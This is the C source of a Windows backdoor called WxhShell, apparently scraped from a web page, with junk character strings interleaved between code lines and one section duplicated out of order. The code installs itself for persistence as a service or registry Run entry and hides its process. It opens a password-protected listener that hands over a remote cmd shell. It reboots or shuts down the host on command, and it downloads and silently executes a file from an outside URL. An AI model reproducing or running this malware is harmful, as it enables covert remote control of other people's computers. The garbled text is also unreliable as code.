$ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); RW L0@\ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); cjEqN8 2|,L 9 if (!NtQueryInformationProcess) return 0; 2K91E} dT|f<E/P hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;7lON-@BI if(!hProcess) return 0; Dcvul4Q 1.cP3kl if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m}uOBR+ `N *:,8j CloseHandle(hProcess); XMuZ}u[U s1D<R,J|H hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (' 5?- if(hProcess==NULL) return 0; H2s:M 32[}@f2q HMODULE hMod; OoSk^U) char procName[255]; 5l6/5 unsigned long cbNeeded; x%}D+2ro-t );gY8UL^ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); kh
W. a;HAuy`M x CloseHandle(hProcess); Jj-\Eb? j,M$l mR') if(strstr(procName,"services")) return 1; // 以服务启动 MxsLrWxm tK%ie\ return 0; // 注册表启动 $jN.yNm0 } !g|O.mt <b:%o^ // 主模块 _Je4&KU int StartWxhshell(LPSTR lpCmdLine) :jiuu@< { $D^\[^S SOCKET wsl;
,&hv x BOOL val=TRUE; TpKAdrY int port=0; PM\Ju] struct sockaddr_in door; =_dM@ j mTE(JZt if(wscfg.ws_autoins) Install(); p;+O/'/j aA`eKy) \ port=atoi(lpCmdLine); UBaXS_c\ =l`)b if(port<=0) port=wscfg.ws_port; ipv5JD[ z#tIa WSADATA data; pDR~SxBXr if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; URsx>yx 8Qg10Yjy if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Q|(}rIWOQA setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1sqE/-v1_^ door.sin_family = AF_INET; QQl.5'PP door.sin_addr.s_addr = inet_addr("127.0.0.1"); LZykc
c9g door.sin_port = htons(port); s@\3|e5g +4?Lwp'q if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `nPdZ. closesocket(wsl); `OfhzOp return 1; ,h*gd^i } C]ss' |qNe_) if(listen(wsl,2) == INVALID_SOCKET) { cgb>Naa< closesocket(wsl); C]L)nCOBX return 1; l9.`2d]o } f8Hq&_Pn Wxhshell(wsl); LqWiw24# WSACleanup(); 6FB0g8 -"[4E0g0 return 0; !M~:#k 0+>g/> }
t ed:] fCY|iO0.t // 以NT服务方式启动 N^;lp<{6? VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) gT)(RS`_) { uKJ:)oyaCP DWORD status = 0; Ic/hVKYG5 DWORD specificError = 0xfffffff; SyL"Bmi scV%p&{a serviceStatus.dwServiceType = SERVICE_WIN32; c9|4[_&B~ serviceStatus.dwCurrentState = SERVICE_START_PENDING; 5 {! fa serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;As~TGiT serviceStatus.dwWin32ExitCode = 0; L=<xTbY serviceStatus.dwServiceSpecificExitCode = 0; g0,~|. serviceStatus.dwCheckPoint = 0; 5U?O1}P serviceStatus.dwWaitHint = 0; $JFjR@j ZX_QnSNZ? hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (TeH)j! if (hServiceStatusHandle==0) return; wkt4vE87 RZz?_1' status = GetLastError(); maap X/J if (status!=NO_ERROR) oiyvKMHz7 { [<B,6nAl serviceStatus.dwCurrentState = SERVICE_STOPPED; #]Vw$X_S serviceStatus.dwCheckPoint = 0; wX] _Abk serviceStatus.dwWaitHint = 0; e#}t
am serviceStatus.dwWin32ExitCode = status; K'&,]r# serviceStatus.dwServiceSpecificExitCode = specificError; `q}D#0 SetServiceStatus(hServiceStatusHandle, &serviceStatus); UC&$8^ return; nDkG}JkB! } %`~4rf"7 6C$+D serviceStatus.dwCurrentState = SERVICE_RUNNING; ckX8eg!f serviceStatus.dwCheckPoint = 0; |]kiH^Ap serviceStatus.dwWaitHint = 0; dz#"9i5b if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); lg|6~=aQ
} RY5e%/bg~U as:=QMV // 处理NT服务事件,比如:启动、停止 :lu!%p<$ VOID WINAPI NTServiceHandler(DWORD fdwControl) 2?,lr2 { kV8R.Baf3 switch(fdwControl) v=^^Mr"Z^ { RrLiH> case SERVICE_CONTROL_STOP: mpYBMSLM serviceStatus.dwWin32ExitCode = 0; uNf'Zeo serviceStatus.dwCurrentState = SERVICE_STOPPED; zZ}.2He8 serviceStatus.dwCheckPoint = 0; ,IiKe_B serviceStatus.dwWaitHint = 0; Qe~C}j% { Qz`evvH SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0+0Y$;< } yc0
1\o return; X}B]5 case SERVICE_CONTROL_PAUSE: WDNj7 serviceStatus.dwCurrentState = SERVICE_PAUSED; xEG:KSH break; ,5 8-h?B0v case SERVICE_CONTROL_CONTINUE: ccv serviceStatus.dwCurrentState = SERVICE_RUNNING; |TJ gH<I break; ;$eY#ypx case SERVICE_CONTROL_INTERROGATE: E.#JCO|(1 break; H~[q<ybxr }; D*L@I@
[ SetServiceStatus(hServiceStatusHandle, &serviceStatus); aR6~r^jB } ,,FhE S*r }oX0 // 标准应用程序主函数 a[t"J*0 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) a aVq>$G3 { #~Kno@ `DSDu Jw% // 获取操作系统版本 !le#7Kii OsIsNt=GetOsVer(); .9DhD=8aIO GetModuleFileName(NULL,ExeFile,MAX_PATH); kb-XEJ}L u}'m7|)8 // 从命令行安装 BDN}`F[F if(strpbrk(lpCmdLine,"iI")) Install(); QKk7"2t| BDp(&=ktq // 下载执行文件 :4:U\k;QwA if(wscfg.ws_downexe) { B <Jxj if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Z'AjeZyyE WinExec(wscfg.ws_filenam,SW_HIDE); }2=~7&) } W__$
i<1 0>,i]
|Y if(!OsIsNt) { &w_8E+YZ // 如果时win9x,隐藏进程并且设置为注册表启动 o/U}G,|G HideProc(); D$hK StartWxhshell(lpCmdLine); M7DoAS{6e } GWx?RIKF else 1\jj3Y'i' if(StartFromService()) dn5t7D^x // 以服务方式启动 8yr-X!eF StartServiceCtrlDispatcher(DispatchTable); Q{hK+z`D else Qz"@<qgQy // 普通方式启动 ?:PF;\U StartWxhshell(lpCmdLine); kaZcYuT.9 d.sn D)X return 0; %)}_OXWf: } ~N2 [j p=Qo92
NH qE^u{S4Z@ (Q"s;g =========================================== Or1ikI" kDKfJp&a gZ(\/m8Z 6.v)q,JL gC@=]Y }g.)%Bw! " 'kCr1t e<{Ani0 #include <stdio.h> S?H
qrf7< #include <string.h> =HoA2,R) #include <windows.h> K?wo AuY #include <winsock2.h> c}7Rt|`c #include <winsvc.h> ECOzquvM #include <urlmon.h> XQ k,xQ &-.2P!t #pragma comment (lib, "Ws2_32.lib") S#D6mg$Z, #pragma comment (lib, "urlmon.lib") }
AHR7mu= grCz@i #define MAX_USER 100 // 最大客户端连接数 x8rp Z #define BUF_SOCK 200 // sock buffer k8sjW!2 #define KEY_BUFF 255 // 输入 buffer 5,V3_p:)VI ue6&)7:~ #define REBOOT 0 // 重启 {Pi]i? #define SHUTDOWN 1 // 关机 vP&JL~ ^X?3e1om #define DEF_PORT 5000 // 监听端口 6c#1Do(W+ Pu]Pp`SP #define REG_LEN 16 // 注册表键长度 4q^'MZm1 #define SVC_LEN 80 // NT服务名长度 /`B:F5r &q[`lIV, L // 从dll定义API 2HREO@._) typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8<g9 ~L typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %wux#"8
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [lAZ)6E~= typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); y[:xGf]8@ =I9RM9O< // wxhshell配置信息 B}p{$g! struct WSCFG { -6>T0- int ws_port; // 监听端口 e/!xyd char ws_passstr[REG_LEN]; // 口令 G8p6p6* int ws_autoins; // 安装标记, 1=yes 0=no 64-;| k4F char ws_regname[REG_LEN]; // 注册表键名 ~Wj.
4b* char ws_svcname[REG_LEN]; // 服务名 H(j983 char ws_svcdisp[SVC_LEN]; // 服务显示名 O9 [Dae{i char ws_svcdesc[SVC_LEN]; // 服务描述信息 KdtQJ:_`k char ws_passmsg[SVC_LEN]; // 密码输入提示信息 t=(CCq_N, int ws_downexe; // 下载执行标记, 1=yes 0=no v|u[BmA)*k char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" PzDekyl char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [E|% <-m[0zgq }; PPSSar C.;H?So( // default Wxhshell configuration V17SJSC- struct WSCFG wscfg={DEF_PORT, pbePxOG "xuhuanlingzhe", x.~A vJ 1, u IGeSd5B "Wxhshell", ify}xv "Wxhshell", $Q< >MB7 "WxhShell Service", iqPMCOPZ "Wrsky Windows CmdShell Service", LL^WeD_Y "Please Input Your Password: ", h#rziZ( 1, hUGP3ExC* "http://www.wrsky.com/wxhshell.exe", $UGX vCR "Wxhshell.exe" xRM)f93@ };
V
t@] <^8&2wAkJ // 消息定义模块 jou741 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; m3E`kW| char *msg_ws_prompt="\n\r? for help\n\r#>"; ijR,% qg char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "nEfk{ g char *msg_ws_ext="\n\rExit."; 0B?t:XU , char *msg_ws_end="\n\rQuit."; P4S]bPIp char *msg_ws_boot="\n\rReboot..."; -kz9KGkPb+ char *msg_ws_poff="\n\rShutdown..."; [=q&5'FY0 char *msg_ws_down="\n\rSave to "; ' (1`iQ; UiLiy?EJ char *msg_ws_err="\n\rErr!"; 2Ub!wee char *msg_ws_ok="\n\rOK!"; ~y.t amNW ^TF71uo char ExeFile[MAX_PATH]; qmx4hs8sh int nUser = 0; ic(`E v HANDLE handles[MAX_USER]; .>Fy ]Cqoh int OsIsNt; HXp$\%A) yTb#V"eR SERVICE_STATUS serviceStatus; 6wY6*R SERVICE_STATUS_HANDLE hServiceStatusHandle; {N2MskK Ri mz~}+ // 函数声明 dF<GuS;l5 int Install(void); TtKV5 int Uninstall(void); ydm2'aV int DownloadFile(char *sURL, SOCKET wsh); Tz?0E"yx int Boot(int flag); K~ob]I<GiB void HideProc(void); Qt`;+N( int GetOsVer(void); >`(]&o6<$ int Wxhshell(SOCKET wsl); z[~ph/^ void TalkWithClient(void *cs); |`,AAa int CmdShell(SOCKET sock); O4.`N?Xq int StartFromService(void); A4>j4\A[M int StartWxhshell(LPSTR lpCmdLine); Z& W*@(dX |b'}.(/3i VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F2:nL`]b[ VOID WINAPI NTServiceHandler( DWORD fdwControl ); 'NYW`, #l?E2
U4WL // 数据结构和表定义 y1c2(K>tu SERVICE_TABLE_ENTRY DispatchTable[] = 6k- { n/Fx2QC{ {wscfg.ws_svcname, NTServiceMain}, =)mA.j}E2 {NULL, NULL} sm?V%NX& }; )~[rb<:)b a
0+W-#G // 自我安装 DP5}q"l int Install(void) z<u*I@; { tEFbL~n char svExeFile[MAX_PATH]; O=;}VZ<9 HKEY key; SWWeN#Q strcpy(svExeFile,ExeFile); xh`4s cy
@",z // 如果是win9x系统,修改注册表设为自启动 J[ 7Sf^r if(!OsIsNt) { KqhE=2, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AREpZ2GiU RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {
d |lN:B RegCloseKey(key); >o,l/#z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wMvAm%}+ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \;bDDTM RegCloseKey(key); G'IRqO*] return 0; /JbO $A } 3EO:Uk5< } 8RaRXnJ }
;U<}2M!g else { k!)Pl,nJ %s*F~E // 如果是NT以上系统,安装为系统服务 q'1
86L87 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (JdZl2A. if (schSCManager!=0) ~U$ioQy< { >\4"k4d} SC_HANDLE schService = CreateService WinwPn+9 ( EaN1xb(DYa schSCManager, y1Op Z wscfg.ws_svcname, Ce`#J6lT wscfg.ws_svcdisp, He)vl. SERVICE_ALL_ACCESS, 'Hv=\p4$1 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Z%$tV3a? SERVICE_AUTO_START, wzf%~ats SERVICE_ERROR_NORMAL, ffI
z>Of: svExeFile, HVH <S NULL, A w"Y_S8. NULL, &MJcLM] NULL, ESi'3mbeC NULL, R?5v//[ NULL 5-2#H?:U ); HIsB)W&%@ if (schService!=0) @5tGI U;1 { \w@V7~vA CloseServiceHandle(schService); G/4~_\YMq CloseServiceHandle(schSCManager); B0$ge"FK9 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); D*}_L
strcat(svExeFile,wscfg.ws_svcname); k@}g?X`8 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *|Bt! RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); RGe2N| RegCloseKey(key); 8Os: SC@Q return 0; =.(~`ici~ } sg%Ptp } e+O502] CloseServiceHandle(schSCManager); ^^(!>n6r^ } nh*hw[Ord } jUGk=/*]e Gc,6;!+( return 1; vM?jm!nd } bwyj[:6l rcUJOI // 自我卸载 JIU8~D int Uninstall(void) k7)<3f3&S. { &`I 7aP| HKEY key; TxP8&!d 3A!Qu$r9 if(!OsIsNt) { (-%1z_@Y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Dks"(0g RegDeleteValue(key,wscfg.ws_regname); BI6]{ ZC" RegCloseKey(key); Rj!9pwvT if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EYSBC", RegDeleteValue(key,wscfg.ws_regname); ;.{J>Q/U, RegCloseKey(key); W0k7(v) return 0; H: ]'r5sw } 0mR^%+~ } t~M0_TnXlP } w,1&s};g\ else { v{;^>"5o *('Vyd!n SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "5@\"L if (schSCManager!=0) ub9,Wd"^ { Dio)orc SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); h@jk3J9^ if (schService!=0) 3XcFBFE { n+D93d9LP if(DeleteService(schService)!=0) { :vJ1Fo! CloseServiceHandle(schService); MQMc=Z4d CloseServiceHandle(schSCManager); D]?yGI_ return 0; /3j3'~0 } UO4z~ CloseServiceHandle(schService); z<OfSS_]R } "@UyUL CloseServiceHandle(schSCManager); Jvr`9<` } JQDS3v=1$ } \{.c0 ?fX`z(Z return 1; =y0h\<[ }
:X 9_~ Odr<fvV,> // 从指定url下载文件 AHet,N int DownloadFile(char *sURL, SOCKET wsh) [z,6 K= { e'2w-^7 HRESULT hr; <lP5}F87 char seps[]= "/"; t/J|<Ooj? char *token; d@ef+- char *file; uJU;C.LX char myURL[MAX_PATH]; o[aIQ|G char myFILE[MAX_PATH]; U*\1d ]23+ d/ strcpy(myURL,sURL); 8iC9xSH[% token=strtok(myURL,seps); >6gduD!6I while(token!=NULL) 1AQ3< { $GQ{Ai:VwF file=token; juB /?'$~ token=strtok(NULL,seps); y*T@_on5 } Bpp(5 og`g]Z<I GetCurrentDirectory(MAX_PATH,myFILE); c/}-pZn< strcat(myFILE, "\\");
!SThK8j$7 strcat(myFILE, file); XGAR8=tic send(wsh,myFILE,strlen(myFILE),0); >:|jds# send(wsh,"...",3,0); +,UuJ6[n hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); t: 03 if(hr==S_OK) mV.26D<c return 0; +\RviF[+ else /2Bf6 return 1; Dv}VmC"" Rts.jm>[ } >S@><[C Qn \=P*j // 系统电源模块 9>ML;$T& int Boot(int flag) +T HBPEq { ;-VXp80J HANDLE hToken; & sgzSX TOKEN_PRIVILEGES tkp; y<m}dW6[\ qv8B$}F U if(OsIsNt) { `gdk,L] OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); W.>}5uVl6 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); f<vZ4 IU tkp.PrivilegeCount = 1; bq z*90 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; UQq Qim AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); y-_IMu.J` if(flag==REBOOT) { &"=<w if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +@MG$*}Oz return 0; K QCF " } 7@Xi*Azd else { 3-_`x9u* if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `FByME return 0; 9n;6;K# } 41c4Xj?' } " (yw(/ else { wj\kx\+ if(flag==REBOOT) { D:XjJMW3r if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) B1va]=([)W return 0; w%~Mg3| } Mc6v else { I]Vkaf I>( if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]QKKtvN return 0; u(g9-O } ' [%?j?2r } ?{r -z3@ N Nx<fj=VJ return 1; ,R=)^Gh{ } [ N0"mE< Ki\J)l // win9x进程隐藏模块 ZX0!BS void HideProc(void) nQd~i0`vB { x*wr8$@J DS=Dg@y HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); RH"EO4 if ( hKernel != NULL ) dyt.(2 { Xd'B0kQaT pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); trlZ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 34t[]v|LD FreeLibrary(hKernel); Z+
)<FX } xvW# ~T] ~Z5Wwp]a return; Gy!bPVe } Te H_DVxj $Fv|w9 // 获取操作系统版本 Zi.w+V int GetOsVer(void) rXVRX#Lh { ZC9S0Z OSVERSIONINFO winfo; }XfRKGQw winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =6[R,{|C GetVersionEx(&winfo); FIpJ>E"n if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) NQ,2pM<*- return 1; %=5 m!"F else S{zl<>+ return 0; JjQ9AJ?-V } S=X_7V
1_z~<d
@?; // 客户端句柄模块 #XeabcOQ int Wxhshell(SOCKET wsl) @WP%kX.? { .p-T > SOCKET wsh; o_PQ]1 struct sockaddr_in client; }c'T]h\S DWORD myID; i 8:^1rHp) / a$B8, while(nUser<MAX_USER) lA,*]Mr~ { #A^(1 int nSize=sizeof(client); 0-8'.C1v wsh=accept(wsl,(struct sockaddr *)&client,&nSize); sF1j4 NC if(wsh==INVALID_SOCKET) return 1; ^'$P[ %^bN^Sq
- handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m=%yZ2F; if(handles[nUser]==0) 89J7hnJC closesocket(wsh); ^Dys#^ else h
F *c nUser++; 'Jl73#3 } pt~b=+bBm WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~s>Ud<l%r 'E %+ O return 0; V)cL=4G } !p(N
DQm S3?U-R^` // 关闭 socket qfyuq] void CloseIt(SOCKET wsh) ihopQb+k^m { K7]QgfpSZ closesocket(wsh); 1^ y^b{ nUser--; "sUmk e-# ExitThread(0); <@+{EK'`q } =Y-mc#{8 Uw->5 // 客户端请求句柄 O8 5) ^ void TalkWithClient(void *cs) @fI2ZWN| { VZr AZV^c /t_AiM,( SOCKET wsh=(SOCKET)cs; C7_#D O6" char pwd[SVC_LEN]; w>6cc#>q char cmd[KEY_BUFF]; l6< bV#_qe char chr[1]; }Bn`0;] int i,j; S"Drg m. X5c)T}pyv while (nUser < MAX_USER) { Yk
yB "j?\Ze* if(wscfg.ws_passstr) { X&cm)o%5Fe if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '" J``= //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'klYGp //ZeroMemory(pwd,KEY_BUFF); gtRs|| i=0; ;7N~d TBQ while(i<SVC_LEN) { OsNJ;B e2L4E8ST< // 设置超时 d2O x:| <) fd_set FdRead; lAo S 9w struct timeval TimeOut; Ae>:i7.V FD_ZERO(&FdRead); 8U7X/L
FD_SET(wsh,&FdRead); 2G)q?_Q4S TimeOut.tv_sec=8; YB"=eld TimeOut.tv_usec=0; OQh4MN#$ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4,?ZNyl if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); CL<m+dW%* *&~wl(+O= if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Rge\8H/z pwd=chr[0]; jT1^oXn@ if(chr[0]==0xd || chr[0]==0xa) { 8d8GYTl b) pwd=0; nsy eid* break; 8 J;\Z } m-XS_5x\ i++; zOA2chy4 } R]"3^k* &KVXU0F^z // 如果是非法用户,关闭 socket \Ea(f**2B if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [.c'22R6 } M 3c do=s=&T send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); QW_W5|_ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !MQVtn^C# ~=Q Tv8 while(1) { H:.l:PJ f%Vdao[ ZeroMemory(cmd,KEY_BUFF); |ZJ<N\\h- v7G&`4~ // 自动支持客户端 telnet标准 (bON[6OGm j=0; ~<q^4w.=7C while(j<KEY_BUFF) { @t<KS& if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B),Z*lpC cmd[j]=chr[0]; Kzrt%DA if(chr[0]==0xa || chr[0]==0xd) { ]c\d][R N cmd[j]=0; to#N>VfD break; rxQ&N[r2 } R>dd#`r" j++; a F%V } L2\NTNY lq}g*ih // 下载文件 p@jwHlX if(strstr(cmd,"http://")) { y sFp` send(wsh,msg_ws_down,strlen(msg_ws_down),0); zHk7!|%Y if(DownloadFile(cmd,wsh)) E 9v<VoNP` send(wsh,msg_ws_err,strlen(msg_ws_err),0); zt/N)5\V else c@/K} send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); POt8G } ^Rc*X'Iz(! else { [ %6(1$Ih (.N!(;G switch(cmd[0]) { ;T*o
RS k`h#.B J // 帮助 Ji7<UJ30x case '?': { +S
],){ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =U,mzY( break; 0UOjk.~b } 'o%6TWl9s // 安装 h"t\x}8qq case 'i': { %hCd*[Z}j if(Install()) (fcJp)D send(wsh,msg_ws_err,strlen(msg_ws_err),0); !"<~n-$B else w'7=CzfYn send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OmLe+,7' break; <#~n5W{l } oUx%ra{ // 卸载 xA SH-9 case 'r': { rceX|i>9n if(Uninstall()) 'ZAl7k . send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6 U_P else #dDM
"s send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7mtX/w9 break; M$U Zn } 3{9d5p|\i // 显示 wxhshell 所在路径 w:07_`cH= case 'p': { C@{-$z) char svExeFile[MAX_PATH]; S<eB&qT$ strcpy(svExeFile,"\n\r"); LsO}a;t5 strcat(svExeFile,ExeFile); '^%k TNn send(wsh,svExeFile,strlen(svExeFile),0); RZP7h>y6@ break; MIdViS.g } P(cy@P,D // 重启 T(
fcE case 'b': { bk:mk[ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _)[UartKx if(Boot(REBOOT)) ^MO})C send(wsh,msg_ws_err,strlen(msg_ws_err),0); <h%I-e6 else { Fs&r^ [/b closesocket(wsh); n}/4em? ExitThread(0); IR|#]en } ;@xlrj+ break; .?kq\.rQ } p v]" 2'aQ // 关机 kxmc2RH>nB case 'd': { VhN 6
oI send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ZdgzPs" if(Boot(SHUTDOWN)) nt8&Mf send(wsh,msg_ws_err,strlen(msg_ws_err),0); YO9;NA{sH else { &yG5w4< closesocket(wsh); !<?<f
db ExitThread(0); 7=gcdfW,;x } GglGFXOL- break; G`RQl@W>)( } 2P ^x'I // 获取shell }:57Ym)7w case 's': { .FG%QF F~ CmdShell(wsh); #mkf2Z=t- closesocket(wsh); Z@}qL1 ExitThread(0); 0+e break; q _Z+H4 } )Z)Gb~G // 退出 VS >xvF case 'x': { L~AU4Q0o send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~G 3txd CloseIt(wsh); c(aykIVOo break; 54=*vokX_ } &x7iEbRs // 离开 A9;,y'm^8 case 'q': { >wb Uxl%{5 send(wsh,msg_ws_end,strlen(msg_ws_end),0); qA"BoSw 4 closesocket(wsh); AEkjy h\ WSACleanup(); dz!m8D0 exit(1); y%?'<j break; .><-XJ } :$0yp`k } :w+vi7l$ } =#=}|Q} LI].*n/v // 提示信息 F?[1m2 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \&b 9 } uehu\umt= } |<'6rJ[i> bi^Pk,' return; u`D _ } ;wkMa;%`g| V~p01f"J // shell模块句柄 ?U+hse3e~ int CmdShell(SOCKET sock) i&?\Pp;5-j { )K$YL='kX STARTUPINFO si; zc$}4o ZeroMemory(&si,sizeof(si)); Qj|rNeM_ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T<"Bb[kH si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =fJU+N+< PROCESS_INFORMATION ProcessInfo; *@p" char cmdline[]="cmd"; b.v +5=)B CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); e ^oGiL~ return 0; #:By/9}- } eh>
|m>JY tGU~G& // 自身启动模式 ul#y'iY] int StartFromService(void) /QWXEL/M= { ?dbSm3 typedef struct {@F'BB\ { 1DcX$b DWORD ExitStatus; :;eQ*{ `\ DWORD PebBaseAddress; ZuybjV1/f6 DWORD AffinityMask; zyhM*eM.7 DWORD BasePriority; Hi$R"O
( ULONG UniqueProcessId; QkC*om'/! ULONG InheritedFromUniqueProcessId; n}_}#(a } PROCESS_BASIC_INFORMATION; #4./>}G $}{[_2 PROCNTQSIP NtQueryInformationProcess; n~]"sTC}& :"MHmm=uU8 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; g(W+[kj) static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R?{xs Zp^O1&\SK? HANDLE hProcess; WG3!M/4r H PROCESS_BASIC_INFORMATION pbi; fLqjBG]< T- _)) HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a6j& po if(NULL == hInst ) return 0; 3>^]r jFw Jx~H4y=z g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |Y05 *!\P* g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &R?`QB2/ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ak,JPzT LXh}U>a9 if (!NtQueryInformationProcess) return 0; |T@SlNi] ) WbWp4 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); YI
?P@y if(!hProcess) return 0; eG1V:%3 r
